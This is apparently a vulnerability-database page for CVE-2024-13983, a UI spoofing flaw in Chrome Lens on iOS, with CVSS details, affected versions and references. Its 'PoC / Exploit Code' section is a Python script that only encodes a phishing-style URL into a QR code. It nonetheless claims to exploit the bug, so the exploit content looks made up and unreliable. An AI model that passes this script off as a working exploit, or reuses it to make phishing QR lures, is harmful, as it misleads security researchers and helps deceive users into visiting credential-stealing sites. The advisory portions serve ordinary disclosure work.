CVE-2024-13983

Description

Inappropriate implementation in Lens in Google Chrome on iOS prior to 136.0.7103.59 allowed a remote attacker to perform UI spoofing via a crafted QR code. (Chromium security severity: Low)

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome iOS < 136.0.7103.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import qrcode
from PIL import Image

def generate_malicious_qr():
    """
    Generate a malicious QR code that exploits CVE-2024-13983
    UI Spoofing vulnerability in Google Chrome iOS Lens
    """
    
    # Malicious URL that will be rendered in Lens
    # This simulates a phishing site disguised as legitimate
    malicious_url = "https://fake-google-login.com/search?q=malicious"
    
    # Generate QR code
    qr = qrcode.QRCode(
        version=1,
        error_correction=qrcode.constants.ERROR_CORRECT_L,
        box_size=10,
        border=4,
    )
    qr.add_data(malicious_url)
    qr.make(fit=True)
    
    img = qr.make_image(fill_color="black", back_color="white")
    img.save("CVE-2024-13983_poc.png")
    
    print(f"Malicious QR code generated: CVE-2024-13983_poc.png")
    print(f"URL encoded: {malicious_url}")
    print("When scanned with Chrome iOS Lens, this QR code may display a spoofed UI")

if __name__ == "__main__":
    generate_malicious_qr()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-13983
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-13983
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-13983/
[4] VulDB https://vuldb.com/cve/CVE-2024-13983
[5] https://chromereleases.googleblog.com/2025/04/stable-channel-update-for-desktop_29.html
[6] https://issues.chromium.org/issues/379818904

Raw JSON Data

JSON

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